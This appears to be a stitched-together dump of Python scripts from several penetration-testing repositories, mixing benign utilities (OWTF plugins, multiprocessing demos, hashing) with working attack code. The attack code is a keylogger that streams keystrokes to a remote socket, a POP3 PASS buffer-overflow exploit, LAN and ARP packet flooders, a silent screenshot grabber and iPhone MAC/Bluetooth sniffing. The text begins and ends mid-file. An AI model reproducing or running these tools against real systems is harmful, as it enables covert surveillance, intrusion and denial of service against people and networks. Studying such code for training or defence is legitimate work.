obj=Detect_CJ("http://192.168.250.1/dvwa")
obj.start()
| 18.814815 | 46 | 0.642322 |
Hands-On-Penetration-Testing-with-Python | #! /usr/bin/python3.6
import multiprocessing as mp
import time
import logging
logging.basicConfig(level=logging.DEBUG,
format='(%(processName)-10s) %(message)s',
)
class Processes():
def __init__(self):
pass
def execute(self,type_):
logging.debug("Enter : " +str(type_))
time.sleep(4)
logging.debug("Exit " +str(type_))
obj=Processes()
p=mp.Process(name="Non Demon",
target=obj.execute,args=("Non Demonic",))
p.daemon = True
logging.debug("Main started")
p.start()
logging.debug("Main Ended")
| 21.833333 | 62 | 0.647166 |
Hands-On-Penetration-Testing-with-Python | #! /usr/bin/python3.5
import child as c
def parent_method():
print("--------------------")
print("IN parent method -Invoking child()")
c.child_method()
print("--------------------\n")
parent_method()
| 19.6 | 44 | 0.536585 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
from scapy.all import *
from bluetooth import *
def retBtAddr(addr):
btAddr=str(hex(int(addr.replace(':', ''), 16) + 1))[2:]
btAddr=btAddr[0:2]+":"+btAddr[2:4]+":"+btAddr[4:6]+":"+\
btAddr[6:8]+":"+btAddr[8:10]+":"+btAddr[10:12]
return btAddr
def checkBluetooth(btAddr):
btName = lookup_name(btAddr)
if btName:
print '[+] Detected Bluetooth Device: ' + btName
else:
print '[-] Failed to Detect Bluetooth Device.'
def wifiPrint(pkt):
iPhone_OUI = 'd0:23:db'
if pkt.haslayer(Dot11):
wifiMAC = pkt.getlayer(Dot11).addr2
if iPhone_OUI == wifiMAC[:8]:
print '[*] Detected iPhone MAC: ' + wifiMAC
btAddr = retBtAddr(wifiMAC)
print '[+] Testing Bluetooth MAC: ' + btAddr
checkBluetooth(btAddr)
conf.iface = 'mon0'
sniff(prn=wifiPrint)
| 24.571429 | 60 | 0.587248 |
Python-Penetration-Testing-Cookbook | import sys
from scapy.all import *
interface = "en0"
pkt = Ether(src=RandMAC("*:*:*:*:*:*"), dst=RandMAC("*:*:*:*:*:*")) / \
IP(src=RandIP("*.*.*.*"), dst=RandIP("*.*.*.*")) / \
ICMP()
print ("Flooding LAN with random packets on interface " + interface )
try:
while True:
sendp(pkt, iface=interface)
except KeyboardInterrupt:
print("Exiting.. ")
sys.exit(0)
| 19.15 | 71 | 0.549751 |
cybersecurity-penetration-testing | import win32con
import win32gui
import win32ui
import time
desktop = win32gui.GetDesktopWindow()
left, top, right, bottom = win32gui.GetWindowRect(desktop)
height = bottom - top
width = right - left
win_dc = win32gui.GetWindowDC(desktop)
ui_dc = win32ui.CreateDCFromHandle(win_dc)
bitmap = win32ui.CreateBitmap()
bitmap.CreateCompatibleBitmap(ui_dc, width, height)
compat_dc = ui_dc.CreateCompatibleDC()
compat_dc.SelectObject(bitmap)
compat_dc.BitBlt((0,0), (width, height), ui_dc, (0,0), win32con.SRCCOPY)
bitmap.Paint(compat_dc)
timestr = time.strftime("_%Y%m%d_%H%M%S")
bitmap.SaveBitmapFile(compat_dc, 'screenshot{}.bmp'.format((timestr)))
ui_dc.DeleteDC()
compat_dc.DeleteDC()
win32gui.ReleaseDC(desktop, win_dc)
win32gui.DeleteObject(bitmap.GetHandle())
| 25.482759 | 72 | 0.761408 |
Hands-On-Penetration-Testing-with-Python | #! /usr/bin/python3.5
import socket
class SP():
def client(self):
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.1.103',80))
while True:
data=input("Enter data to be sent to server : \n")
if not data:
break
else:
s.send(data.encode('utf-8'))
reply=s.recv(1024).decode('utf-8')
print(str(reply))
s.close()
except Exception as ex:
print("Exception caught :"+str(ex))
obj=SP()
obj.client()
| 19.208333 | 54 | 0.603306 |
owtf | """
Plugin for probing emc
"""
from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = " EMC Probing "
def run(PluginInfo):
resource = get_resources("EmcProbeMethods")
return plugin_helper.CommandDump("Test Command", "Output", resource, PluginInfo, [])
| 23.384615 | 88 | 0.743671 |
Ethical-Hacking-Scripts | from pynput.keyboard import Listener
import socket, urllib.request, threading
class Keylogger:
def __init__(self, ip, port):
self.ip = ip
self.port = port
self.selfip = self.getip()
self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.client.connect((self.ip,self.port))
self.client.send(self.selfip.encode())
self.logger = threading.Thread(target=self.start_logging)
self.logger.start()
def getip(self):
try:
url = 'https://httpbin.org/ip'
req = urllib.request.Request(url)
result = urllib.request.urlopen(req)
try:
result = result.read().decode()
except:
result = result.read()
contents = result.split()
ip = contents[2].strip('"')
return str(ip)
except:
pass
def on_press(self,key):
self.client.send(str(key).encode())
def on_release(self,key):
pass
def start_logging(self):
with Listener(on_press=self.on_press, on_release=self.on_release) as listener:
listener.join()
keylog = Keylogger("localhost",80) | 35.264706 | 87 | 0.55763 |
owtf | """
owtf.models.command
~~~~~~~~~~~~~~~~~~~
"""
from sqlalchemy import Column, Integer, String, ForeignKey, DateTime, Boolean
from sqlalchemy.ext.hybrid import hybrid_property
from owtf.db.model_base import Model
from owtf.db.session import flush_transaction
from owtf.models import plugin
class Command(Model):
__tablename__ = "command_register"
start_time = Column(DateTime)
end_time = Column(DateTime)
success = Column(Boolean, default=False)
target_id = Column(Integer, ForeignKey("targets.id"))
plugin_key = Column(String, ForeignKey("plugins.key"))
modified_command = Column(String)
original_command = Column(String, primary_key=True)
@hybrid_property
def run_time(self):
return self.end_time - self.start_time
@classmethod
def add_cmd(cls, session, command):
"""Adds a command to the DB"""
cmd = cls(
start_time=command["Start"],
end_time=command["End"],
success=command["Success"],
target_id=command["Target"],
plugin_key=command["PluginKey"],
modified_command=command["ModifiedCommand"].strip(),
original_command=command["OriginalCommand"].strip(),
)
session.add(cmd)
session.commit()
@classmethod
def delete_cmd(cls, session, command):
"""Delete the command from the DB"""
command_obj = session.query(Command).get(command)
session.delete(command_obj)
session.commit()
| 29.14 | 77 | 0.63745 |
cybersecurity-penetration-testing | import sys
f = open("ciphers.txt", "r")
MSGS = f.readlines()
def strxor(a, b): # xor two strings of different lengths
if len(a) > len(b):
return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a[:len(b)], b)])
else:
return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a, b[:len(a)])])
def encrypt(key, msg):
c = strxor(key, msg)
return c
key = "315c4eeaa8b5f8aaf9174145bf43e1784b8fa00dc71d885a804e5ee9fa40b16349c146fb778cdf2d3aff021dfff5b403b510d0d0455468aeb98622b137dae857553ccd8883a7bc37520e06e515d22c954eba5025b8cc57ee59418ce7dc6bc41556bdb36bbca3e8774301fbcaa3b83b220809560987815f65286764".decode("hex")
k3y = "32510ba9babebbbefd001547a810e67149caee11d945cd7fc81a05e9f85aac650e9052ba6a8cd8257bf14d13e6f0a803b54fde9e77472dbff89d71b57bddef121336cb85ccb8f3315f4b52e301d16e9f52f904".decode("hex")
msg = "We can factor the number 15 with quantum computers. We can also factor the number 15 with a dog trained to bark three times"
ciphertexts = encrypt(msg, key)
answer = encrypt(ciphertexts, k3y)
print answer
print answer.encode("hex") | 45.913043 | 268 | 0.765306 |
Python-Penetration-Testing-for-Developers | import socket
import struct
host = "192.168.0.1"
port = 12347
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(1)
conn, addr = s.accept()
print "connected by", addr
msz= struct.pack('hhl', 1, 2, 3)
conn.send(msz)
conn.close() | 15.5625 | 53 | 0.685606 |
owtf | """
Plugin for probing mssql
"""
from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = " MsSql Probing "
def run(PluginInfo):
resource = get_resources("MsSqlProbeMethods")
# No previous output
return plugin_helper.CommandDump("Test Command", "Output", resource, PluginInfo, [])
| 23.857143 | 88 | 0.740634 |
PenetrationTestingScripts | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.
from .initialise import init, deinit, reinit, colorama_text
from .ansi import Fore, Back, Style, Cursor
from .ansitowin32 import AnsiToWin32
__version__ = '0.3.7'
| 29.125 | 74 | 0.758333 |
owtf | """
GREP Plugin for SSL protection
NOTE: GREP plugins do NOT send traffic to the target and only grep the HTTP Transaction Log
"""
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Searches transaction DB for SSL protections"
def run(PluginInfo):
title = "This plugin looks for server-side protection headers to enforce SSL<br />"
Content = plugin_helper.HtmlString(title)
Content += plugin_helper.FindResponseHeaderMatchesForRegexpName(
"HEADERS_FOR_SSL_PROTECTION"
)
return Content
| 29.941176 | 91 | 0.750476 |
Python-Penetration-Testing-for-Developers | from scapy.all import *
ip1 = IP(src="192.168.0.10", dst ="192.168.0.11")
sy1 = TCP(sport =1024, dport=137, flags="A", seq=12345)
packet = ip1/sy1
p =sr1(packet)
p.show()
| 23.571429 | 55 | 0.649123 |
Broken-Droid-Factory | import os
import random
import randomword
from patchers import patcher_interface
class common_patcher(patcher_interface.patcher):
'''
This patcher is used to perform standard alterations to the app, including modifying the name, creating a more interesting activity, and adding red herring code to the MainActivity.
'''
difficulty = 0
def patch(self):
'''
Patch the source code to alter the app name, and main activity
:return: a string of notes for this patch
'''
# Change app name and reverse domain notation
self.logger("Patching out template app name to new name '{}'".format(self.name))
self._replace_everywhere("demo_app", self.name.lower())
reverse_domain = "{}.{}".format(random.choice(["com", "org", "me", "net"]), randomword.get_random_word())
self._replace_everywhere("com.example", reverse_domain)
self._replace_everywhere("demo-app", self.name.upper())
# Create a custom main activity
self.logger("Creating a pseudo random main activity. ")
new_main_activity_xml = self._generate_activity_xml()
main_activity_path = os.path.join(self.working_dir, "app", "src", "main", "res", "layout", "activity_main.xml")
file_to_modify = open(main_activity_path, "w")
file_to_modify.write(new_main_activity_xml)
file_to_modify.close()
# Add pseudo random code to MainActivity.java
MainActivity_file_path = self._get_path_to_file("MainActivity.java")
self.logger("Generating pseudo random code for MainActivity.java")
for iterator in range(1, 40):
code_block = self._get_random_java_code_block()
import_code = code_block[0]
code = code_block[1]
self._add_imports_to_java_file(MainActivity_file_path, import_code)
self._add_java_code_to_file(MainActivity_file_path, code)
return "The application '{}' has been crafted and several vulnerabilities hidden amoung it.".format(self.name)
| 43.456522 | 185 | 0.656556 |
Hands-On-Penetration-Testing-with-Python | #!/usr/bin/python
import socket
buffer=["A"]
counter=100
string="A"*2606 + "\x8f\x35\x4a\x5f" +"C"*390
if 1:
print"Fuzzing PASS with %s bytes" % len(string)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.250.136',110))
data=s.recv(1024)
#print str(data)
s.send('USER root\r\n')
data=s.recv(1024)
print str(data)
s.send('PASS ' + string + '\r\n')
data=s.recv(1024)
print str(data)
print "done"
#s.send('QUIT\r\n')
#s.close()
| 17.551724 | 54 | 0.577281 |
cybersecurity-penetration-testing | from scapy.all import *
num = int(raw_input("Enter the number of packets "))
interface = raw_input("Enter the Interface ")
arp_pkt=ARP(pdst='192.168.1.255',hwdst="ff:ff:ff:ff:ff:ff")
eth_pkt = Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff")
try:
sendp(eth_pkt/arp_pkt,iface=interface,count =num, inter= .001)
except :
print "Destination Unreachable "
| 22.933333 | 63 | 0.692737 |
Hands-On-Penetration-Testing-with-Python | #! /usr/bin/python3.5
from multiprocessing import Pool
import multiprocessing as mp
import datetime as dt
class Pooling():
def read_from_file(self,file_name):
try:
fn=list(file_name.keys())[0]
line_no=0
for line in open(fn,"r") :
if line_no == 0:
line_no=line_no + 1
continue
records=line.split(",")
try:
r_id=int(records[1])
if (r_id % 1700) == 0 :
file_name[fn].append(line)
except Exception as ex:
print("Exception : " +str(ex))
return file_name
except Exception as ex:
print("Exception caught :"+str(ex))
file_name[fn].append(str(ex))
return file_name
def driver_read(self):
try:
st_time=dt.datetime.now()
p_cores=mp.cpu_count()
pool = mp.Pool(p_cores)
results=[]
v="Million"
files=[{v+"_0":[]},{v+"_1":[]},{v+"_2":[]},{v+"_3":[]}]
aggrigated_result=pool.map(self.read_from_file,files)
for f in aggrigated_result:
with open ("Modulo_1700_agg","a+") as out_file:
key=""
for k,v in f.items():
key=k
print("--------------------------------------")
print("Top 2 items for key "+str(k)+" :\n")
for val in v[0:2]:
print(val)
print("-------------------------------------\n")
out_file.writelines(f[key])
print("Written Aggrigated Results")
pool.close()
pool.join()
en_time=dt.datetime.now()
print("Total Execution time : " +str((en_time-st_time).seconds))
except Exception as ex:
print("Exception caught :"+str(ex))
def write_to_file(self,file_name):
try:
st_time=dt.datetime.now()
process=mp.current_process()
name=process.name
print("Started process : " +str(name))
with open(file_name,"w+") as out_file:
out_file.write("Process_name,Record_id,Date_time"+"\n")
for i in range(1000000):
tm=dt.datetime.now()
w=str(name)+","+str(i)+","+str(tm)+"\n"
out_file.write()
print("Ended process : " +str(name))
en_time=dt.datetime.now()
tm=(en_time-st_time).seconds
return "Process : "+str(name)+" - Exe time in sec : " +str(tm)
except Exception as ex:
print("Exception caught :"+str(ex))
return "Process : "+str(name)+" - Exception : " +str(ex)
def driver(self):
try:
st_time=dt.datetime.now()
p_cores=mp.cpu_count()
pool = mp.Pool(p_cores)
results=[]
for i in range(8):
args=("Million_"+str(i),)
results.append(pool.apply_async(self.write_to_file,args))
final_results=[]
for result in results:
final_results.append(result.get())
pool.close()
pool.join()
en_time=dt.datetime.now()
print("Results : " )
for rec in final_results:
print(rec)
print("Total Execution time : " +str((en_time-st_time).seconds))
except Exception as ex:
print("Exception caught :"+str(ex))
obj=Pooling()
obj.driver_read()
| 27.762887 | 67 | 0.592327 |
Python-Penetration-Testing-for-Developers | import threading
import time
import socket, subprocess,sys
import thread
import collections
from datetime import datetime
'''section 1'''
net = raw_input("Enter the Network Address ")
st1 = int(raw_input("Enter the starting Number "))
en1 = int(raw_input("Enter the last Number "))
en1=en1+1
#dic = collections.OrderedDict()
list1= []
net1= net.split('.')
a = '.'
net2 = net1[0]+a+net1[1]+a+net1[2]+a
t1= datetime.now()
'''section 2'''
class myThread (threading.Thread):
def __init__(self,st,en):
threading.Thread.__init__(self)
self.st = st
self.en = en
def run(self):
run1(self.st,self.en)
'''section 3'''
def scan(addr):
sock= socket.socket(socket.AF_INET,socket.SOCK_STREAM)
socket.setdefaulttimeout(1)
result = sock.connect_ex((addr,445))
if result==0:
sock.close()
return 1
else :
sock.close()
def run1(st1,en1):
for ip in xrange(st1,en1):
addr = net2+str(ip)
if scan(addr):
list1.append(addr)
'''section 4'''
total_ip =en1-st1
tn =20 # number of ip handled by one thread
total_thread = total_ip/tn
total_thread=total_thread+1
threads= []
try:
for i in xrange(total_thread):
#print "i is ",i
en = st1+tn
if(en >en1):
en =en1
thread = myThread(st1,en)
thread.start()
threads.append(thread)
st1 =en
except:
print "Error: unable to start thread"
print "\tNumber of Threads active:", threading.activeCount()
for t in threads:
t.join()
print "Exiting Main Thread"
list1.sort()
for k in list1 :
print k,"-->" "Live"
t2= datetime.now()
total =t2-t1
print "scanning complete in " , total | 21.014085 | 60 | 0.671575 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
import hashlib
message = raw_input("Enter the string you would like to hash: ")
md5 = hashlib.md5(message)
md5 = md5.hexdigest()
sha1 = hashlib.sha1(message)
sha1 = sha1.hexdigest()
sha256 = hashlib.sha256(message)
sha256 = sha256.hexdigest()
sha512 = hashlib.sha512(message)
sha512 = sha512.hexdigest()
print "MD5 Hash =", md5
print "SHA1 Hash =", sha1
print "SHA256 Hash =", sha256
print "SHA512 Hash =", sha512
print "End of list." | 20 | 64 | 0.701245 |
Mastering-Machine-Learning-for-Penetration-Testing |
from cleverhans.utils_tf import model_train , model_eval , batch_eval
from cleverhans.attacks_tf import jacobian_graph
from cleverhans.utils import other_classes
from cleverhans.utils_tf import model_train , model_eval , batch_eval
from cleverhans.attacks_tf import jacobian_graph
from cleverhans.utils import other_classes
import tensorflow as tf
from sklearn.tree import DecisionTreeClassifier
from sklearn.ensemble import RandomForestClassifier
from sklearn.linear_model import LogisticRegression
from sklearn.linear_model import LogisticRegression
from sklearn.metrics import accuracy_score , roc_curve , auc , f1_score
from sklearn.preprocessing import LabelEncoder , MinMaxScaler
from tensorflow.python.platform import flags
names = ['duration', 'protocol', 'service', 'flag', 'src_bytes', 'dst_bytes', 'land','wrong_fragment','urgent', 'hot', 'num_failed_logins', 'logged_in', 'num_compromised', 'root_shell', 'su_attempted','num_root', 'num_file_creations', 'num_shells', 'num_access_files', 'num_outbound_cmds','is_host_login', 'is_guest_login', 'count', 'srv_count', 'serror_rate', 'srv_serror_rate','rerror_rate', 'srv_rerror_rate', 'same_srv_rate', 'diff_srv_rate', 'srv_diff_host_rate','dst_host_count', 'dst_host_srv_count', 'dst_host_same_srv_rate', 'dst_host_diff_srv_rate','dst_host_same_src_port_rate', 'dst_host_srv_diff_host_rate', 'dst_host_serror_rate','dst_host_srv_serror_rate','dst_host_rerror_rate', 'dst_host_srv_rerror_rate','attack_type', 'other']
df = pd.read_csv('KDDTrain+.txt', names=names , header=None)
dft = pd.read_csv('KDDTest+.txt', names=names , header=None)
FLAGS = flags.FLAGS
flags.DEFINE_integer('batch_size ', 128, 'Size of training batches ')
flags.DEFINE_float('learning_rate ', 0.1, 'Learning rate for training ')
flags.DEFINE_integer('nb_classes ', 5, 'Number of classification classes ')
flags.DEFINE_integer('source_samples ', 10, 'Nb of test set examples to attack ')
full = pd.concat([df,dft])
assert full.shape[0] == df.shape[0] + dft.shape[0]
print("Initial test and training data shapes:", df.shape , dft.shape)
full.loc[full.label == 'neptune ', 'label'] = 'dos'
full.loc[full.label == 'back', 'label'] = 'dos'
full.loc[full.label == 'land', 'label'] = 'dos'
full.loc[full.label == 'pod', 'label'] = 'dos'
full.loc[full.label == 'smurf', 'label'] = 'dos'
full.loc[full.label == 'teardrop', 'label'] = 'dos'
full.loc[full.label == 'mailbomb', 'label'] = 'dos'
full.loc[full.label == 'processtable', 'label'] = 'dos'
full.loc[full.label == 'udpstorm', 'label'] = 'dos'
full.loc[full.label == 'apache2', 'label'] = 'dos'
full.loc[full.label == 'worm', 'label'] = 'dos'
full.loc[full.label == 'buffer_overflow', 'label'] = 'u2r'
full.loc[full.label == 'loadmodule', 'label'] = 'u2r'
full.loc[full.label == 'perl', 'label'] = 'u2r'
full.loc[full.label == 'rootkit', 'label'] = 'u2r'
full.loc[full.label == 'sqlattack', 'label'] = 'u2r'
full.loc[full.label == 'xterm', 'label'] = 'u2r'
full.loc[full.label == 'ps', 'label'] = 'u2r'
full.loc[full.label == 'ftp_write', 'label'] = 'r2l'
full.loc[full.label == 'guess_passwd', 'label'] = 'r2l'
full.loc[full.label == 'imap', 'label'] = 'r2l'
full.loc[full.label == 'multihop', 'label'] = 'r2l'
full.loc[full.label == 'phf', 'label'] = 'r2l'
full.loc[full.label == 'spy', 'label'] = 'r2l'
full.loc[full.label == 'warezclient', 'label'] = 'r2l'
full.loc[full.label == 'warezmaster', 'label'] = 'r2l'
full.loc[full.label == 'xlock', 'label'] = 'r2l'
full.loc[full.label == 'xsnoop', 'label'] = 'r2l'
full.loc[full.label == 'snmpgetattack', 'label'] = 'r2l'
full.loc[full.label == 'httptunnel', 'label'] = 'r2l'
full.loc[full.label == 'snmpguess', 'label'] = 'r2l'
full.loc[full.label == 'sendmail', 'label'] = 'r2l'
full.loc[full.label == 'named', 'label'] = 'r2l'
full.loc[full.label == 'satan', 'label'] = 'probe'
full.loc[full.label == 'ipsweep', 'label'] = 'probe'
full.loc[full.label == 'nmap', 'label'] = 'probe '
full.loc[full.label == 'portsweep', 'label'] = 'probe '
full.loc[full.label == 'saint', 'label'] = 'probe'
full.loc[full.label == 'mscan', 'label'] = 'probe'
full = full.drop(['other', 'attack_type'], axis =1)
print("Unique labels", full.label.unique())
full2 = pd.get_dummies(full , drop_first=False)
features = list(full2.columns[:-5])
y_train = np.array(full2[0:df.shape[0]][[ 'label_normal', 'label_dos', 'label_probe', 'label_r2l', 'label_u2r']])
X_train = full2[0:df.shape[0]][features]
y_test = np.array(full2[df.shape[0]:][['label_normal', 'label_dos', 'label_probe', 'label_r2l', 'label_u2r']])
X_test = full2[df.shape[0]:][features]
scaler = MinMaxScaler().fit(X_train)
X_train_scaled = np.array(scaler.transform(X_train))
X_test_scaled = np.array(scaler.transform(X_test))
labels = full.label.unique()
le = LabelEncoder()
le.fit(labels)
y_full = le.transform(full.label)
y_train_l = y_full[0:df.shape[0]]
y_test_l = y_full[df.shape[0]:]
print("Training dataset shape", X_train_scaled.shape , y_train.shape)
print("Test dataset shape", X_test_scaled.shape , y_test.shape)
print("Label encoder y shape", y_train_l.shape , y_test_l.shape)
def mlp_model():
model = Sequential()
model.add(Dense(256,activation='relu', input_shape =( X_train_scaled.shape[1],)))
model.add(Dropout(0.4))
model.add(Dense(256, activation='relu'))
model.add(Dropout(0.4))
model.add(Dense(5 , activation='softmax'))
model.compile(optimizer='adam',metrics =['accuracy'])
model.summary()
return model
def evaluate():
eval_params = {'batch_size ': FLAGS.batch_size}
accuracy = model_eval(sess , x, y, predictions , X_test_scaled , y_test , args= eval_params)
print('Test accuracy on legitimate test examples: ' + str(accuracy))
x = tf.placeholder(tf.float32 , shape=(None ,X_train_scaled.shape[1]))
y = tf.placeholder(tf.float32 , shape=(None ,5))
| 42.586466 | 745 | 0.678571 |
PenetrationTestingScripts | #coding=utf-8
import time
import threading
from printers import printPink,printGreen
from multiprocessing.dummy import Pool
from pysnmp.entity.rfc3413.oneliner import cmdgen
class snmp_burp(object):
def __init__(self,c):
self.config=c
self.lock=threading.Lock()
self.result=[]
self.lines=self.config.file2list("conf/snmp.conf")
def snmp_connect(self,ip,key):
crack =0
try:
errorIndication, errorStatus, errorIndex, varBinds =\
cmdgen.CommandGenerator().getCmd(
cmdgen.CommunityData('my-agent',key, 0),
cmdgen.UdpTransportTarget((ip, 161)),
(1,3,6,1,2,1,1,1,0)
)
if varBinds:
crack=1
except:
pass
return crack
def snmp_l(self,ip,port):
try:
for data in self.lines:
flag=self.snmp_connect(ip,key=data)
if flag==1:
self.lock.acquire()
printGreen("%s snmp has weaken password!!-----%s\r\n" %(ip,data))
self.result.append("%s snmp has weaken password!!-----%s\r\n" %(ip,data))
self.lock.release()
break
else:
self.lock.acquire()
print "test %s snmp's scan fail" %(ip)
self.lock.release()
except Exception,e:
pass
def run(self,ipdict,pinglist,threads,file):
printPink("crack snmp now...")
print "[*] start crack snmp %s" % time.ctime()
starttime=time.time()
pool=Pool(threads)
for ip in pinglist:
pool.apply_async(func=self.snmp_l,args=(str(ip).split(':')[0],""))
pool.close()
pool.join()
print "[*] stop crack snmp %s" % time.ctime()
print "[*] crack snmp done,it has Elapsed time:%s " % (time.time()-starttime)
for i in xrange(len(self.result)):
self.config.write_file(contents=self.result[i],file=file)
| 31.757576 | 98 | 0.503933 |
cybersecurity-penetration-testing | #!/usr/bin/env python
import sys
import urllib
import cStringIO
from optparse import OptionParser
from PIL import Image
from itertools import izip
def get_pixel_pairs(iterable):
a = iter(iterable)
return izip(a, a)
def set_LSB(value, bit):
if bit == '0':
value = value & 254
else:
value = value | 1
return value
def get_LSB(value):
if value & 1 == 0:
return '0'
else:
return '1'
def extract_message(carrier, from_url=False):
if from_url:
f = cStringIO.StringIO(urllib.urlopen(carrier).read())
c_image = Image.open(f)
else:
c_image = Image.open(carrier)
pixel_list = list(c_image.getdata())
message = ""
for pix1, pix2 in get_pixel_pairs(pixel_list):
message_byte = "0b"
for p in pix1:
message_byte += get_LSB(p)
for p in pix2:
message_byte += get_LSB(p)
if message_byte == "0b00000000":
break
message += chr(int(message_byte,2))
return message
def hide_message(carrier, message, outfile, from_url=False):
message += chr(0)
if from_url:
f = cStringIO.StringIO(urllib.urlopen(carrier).read())
c_image = Image.open(f)
else:
c_image = Image.open(carrier)
c_image = c_image.convert('RGBA')
out = Image.new(c_image.mode, c_image.size)
width, height = c_image.size
pixList = list(c_image.getdata())
newArray = []
for i in range(len(message)):
charInt = ord(message[i])
cb = str(bin(charInt))[2:].zfill(8)
pix1 = pixList[i*2]
pix2 = pixList[(i*2)+1]
newpix1 = []
newpix2 = []
for j in range(0,4):
newpix1.append(set_LSB(pix1[j], cb[j]))
newpix2.append(set_LSB(pix2[j], cb[j+4]))
newArray.append(tuple(newpix1))
newArray.append(tuple(newpix2))
newArray.extend(pixList[len(message)*2:])
out.putdata(newArray)
out.save(outfile)
return outfile
if __name__ == "__main__":
usage = "usage: %prog [options] arg1 arg2"
parser = OptionParser(usage=usage)
parser.add_option("-c", "--carrier", dest="carrier",
help="The filename of the image used as the carrier.",
metavar="FILE")
parser.add_option("-m", "--message", dest="message",
help="The text to be hidden.",
metavar="FILE")
parser.add_option("-o", "--output", dest="output",
help="The filename the output file.",
metavar="FILE")
parser.add_option("-e", "--extract",
action="store_true", dest="extract", default=False,
help="Extract hidden message from carrier and save to output filename.")
parser.add_option("-u", "--url",
action="store_true", dest="from_url", default=False,
help="Extract hidden message from carrier and save to output filename.")
(options, args) = parser.parse_args()
if len(sys.argv) == 1:
print "TEST MODE\nHide Function Test Starting ..."
print hide_message('carrier.png', 'The quick brown fox jumps over the lazy dogs back.', 'messagehidden.png')
print "Hide test passed, testing message extraction ..."
print extract_message('messagehidden.png')
else:
if options.extract == True:
if options.carrier is None:
parser.error("a carrier filename -c is required for extraction")
else:
print extract_message(options.carrier, options.from_url)
else:
if options.carrier is None or options.message is None or options.output is None:
parser.error("a carrier filename -c, message filename -m and output filename -o are required for steg")
else:
hide_message(options.carrier, options.message, options.output, options.from_url)
| 28.189781 | 119 | 0.573037 |
Python-Penetration-Testing-for-Developers | import urllib
from bs4 import BeautifulSoup
import re
domain=raw_input("Enter the domain name ")
url = "http://smartwhois.com/whois/"+str(domain)
ht= urllib.urlopen(url)
html_page = ht.read()
b_object = BeautifulSoup(html_page)
file_text= open("who.txt",'a')
who_is = b_object.body.find('div',attrs={'class' : 'whois'})
who_is1=str(who_is)
for match in re.finditer("Domain Name:",who_is1):
s= match.start()
lines_raw = who_is1[s:]
lines = lines_raw.split("<br/>",150)
i=0
for line in lines :
file_text.writelines(line)
file_text.writelines("\n")
print line
i=i+1
if i==17 :
break
file_text.writelines("-"*50)
file_text.writelines("\n")
file_text.close()
| 17.026316 | 60 | 0.671053 |
cybersecurity-penetration-testing | #
# This is free and unencumbered software released into the public domain.
#
# Anyone is free to copy, modify, publish, use, compile, sell, or
# distribute this software, either in source code form or as a compiled
# binary, for any purpose, commercial or non-commercial, and by any
# means.
#
# In jurisdictions that recognize copyright laws, the author or authors
# of this software dedicate any and all copyright interest in the
# software to the public domain. We make this dedication for the benefit
# of the public at large and to the detriment of our heirs and
# successors. We intend this dedication to be an overt act of
# relinquishment in perpetuity of all present and future rights to this
# software under copyright law.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
# IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
# OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
# ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
# OTHER DEALINGS IN THE SOFTWARE.
# See http://sleuthkit.org/autopsy/docs/api-docs/3.1/index.html for documentation
# Simple report module for Autopsy.
# Used as part of Python tutorials from Basis Technology - September 2015
import os
import logging
import jarray
from array import *
from java.lang import System
from java.util.logging import Level
from org.sleuthkit.datamodel import TskData
from org.sleuthkit.datamodel import AbstractFile
from org.sleuthkit.datamodel import ReadContentInputStream
from org.sleuthkit.autopsy.casemodule import Case
from org.sleuthkit.autopsy.coreutils import Logger
from org.sleuthkit.autopsy.report import GeneralReportModuleAdapter
from org.sleuthkit.autopsy.report.ReportProgressPanel import ReportStatus
from org.sleuthkit.autopsy.casemodule.services import FileManager
# List of English Language stop words. These words may be
# capitalized in text documents, but provide little probative
# value, therefore they will be ignored if detected during the
# search. Stop words exist in virtually every language and
# many versions of stop words exist. I have put this list together
# over time and found it to be effective in eliminating
# words that are not of interest.
stopWords =["able","about","above","accordance","according",
"accordingly","across","actually","added","affected",
"affecting","affects","after","afterwards","again",
"against","almost","alone","along","already","also",
"although","always","among","amongst","announce",
"another","anybody","anyhow","anymore","anyone",
"anything","anyway","anyways","anywhere","apparently",
"approximately","arent","arise","around","aside",
"asking","auth","available","away","awfully","back",
"became","because","become","becomes","becoming",
"been","before","beforehand","begin","beginning",
"beginnings","begins","behind","being",
"believe","below","beside","besides","between",
"beyond","both","brief","briefly","came","cannot",
"cause","causes","certain","certainly","come",
"comes","contain","containing","contains","could",
"couldnt","date","different","does","doing","done",
"down","downwards","during","each","effect","eight",
"eighty","either","else","elsewhere","end",
"ending","enough","especially","even","ever",
"every","everybody","everyone","everything",
"everywhere","except","fifth","first","five",
"followed","following","follows","former","formerly",
"forth","found","four","from","further",
"furthermore","gave","gets","getting",
"give","given","gives","giving","goes",
"gone","gotten","happens","hardly","has","have",
"having","hence","here","hereafter","hereby",
"herein","heres","hereupon","hers","herself",
"himself","hither","home","howbeit","however",
"hundred","immediate","immediately","importance",
"important","indeed","index","information",
"instead","into","invention","inward","itself",
"just","keep","keeps","kept","know","known",
"knows","largely","last","lately","later","latter",
"latterly","least","less","lest","lets","like",
"liked","likely","line","little","look","looking",
"looks","made","mainly","make","makes","many",
"maybe","mean","means","meantime","meanwhile",
"merely","might","million","miss","more","moreover",
"most","mostly","much","must","myself","name",
"namely","near","nearly","necessarily","necessary",
